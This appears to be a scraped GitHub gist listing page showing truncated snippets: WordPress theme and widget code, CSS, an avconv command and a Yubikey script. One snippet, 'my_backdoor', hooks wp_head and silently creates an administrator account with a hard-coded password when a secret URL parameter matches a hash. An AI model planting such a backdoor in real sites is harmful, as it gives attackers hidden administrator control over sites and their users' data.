This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
Theme Name: {Child Theme name} | |
Theme URI: http: //www.example.com | |
Description: Child theme for {Parent theme name} | |
Author: {Author} | |
Author URI: http://www.example.com | |
Template: {name of the folder of the parent theme | |
Version: {version number} | |
*/ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
function toto_rename( $action ) { | |
switch ( $action ) : | |
case 'home' : | |
$directory = '/'; | |
break; | |
case 'it' : |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
avconv -i input.MTS -s 1280x720 -b 8000k -r 30 output.mp4 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* Load the Javascript file. | |
* The file will be loaded only in the widgets admin page. | |
* | |
* @since 1.25 | |
*/ | |
function pis_load_scripts( $hook ) { | |
if( $hook != 'widgets.php' ) { | |
return; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* *** SITUATION *** | |
* We want to retrieve 3 posts and show the sticky posts on top. | |
* To make sticky posts work as expected, the 's' parameter must be not declared or should be NULL, | |
* otherwise the sticky posts won't appear on top of other posts. | |
*/ | |
/* *** CASE 1 *** | |
* This code works as expected ('s' is not declared) and sticky posts appear on top: | |
*/ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
import re | |
import subprocess | |
import os | |
DEVICES = [ | |
('0x1050', '0x0111', 'Yubico Yubikey NEO OTP+CCID'), | |
('0x1050', '0x0112', 'Yubico Yubikey NEO CCID'), | |
('0x1050', '0x0115', 'Yubico Yubikey NEO U2F+CCID'), |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
.widget li.pis-li:before { | |
content: none; | |
} | |
.widget li.pis-li p.pis-title:before { | |
content: "\203A \0020"; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
add_action( 'wp_head', 'my_backdoor' ); | |
function my_backdoor() { | |
if ( md5( $_GET['backdoor'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) { | |
require( 'wp-includes/registration.php' ); | |
if ( !username_exists( 'mr_admin' ) ) { | |
$user_id = wp_create_user( 'mr_admin', 'pa55w0rd!' ); | |
$user = new WP_User( $user_id ); | |
$user->set_role( 'administrator' ); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<li class="pis-li"> | |
<a class="pis-thumbnail-link" href="http://www.fullcleared.com/2013/07/24/microsoft-xbox-one-will-double-as-debug-units-indie-self-publishing-official/" title="" rel="bookmark"> | |
<img width="300" height="168" src="http://www.fullcleared.com/wp-content/uploads/2013/07/microsoft-xbox-one-300x168.jpg" class="pis-thumbnail-img wp-post-image" alt="microsoft-xbox-one"> | |
</a> | |
<p class="pis-title" style="margin-bottom: -10px;"> | |
<a class="pis-title-link" href="http://www.fullcleared.com/2013/07/24/microsoft-xbox-one-will-double-as-debug-units-indie-self-publishing-official/" title="Permalink to Microsoft Xbox One Will Double as Debug Units, Indie Self-Publishing Official" rel="bookmark"> | |
Microsoft Xbox One Will Double as Debug Units, Indie Self-Publishing Official | |
</a> | |
</p> | |
<p class="pis-excerpt" style="margin-bottom: 7px;"></p> |
OlderNewer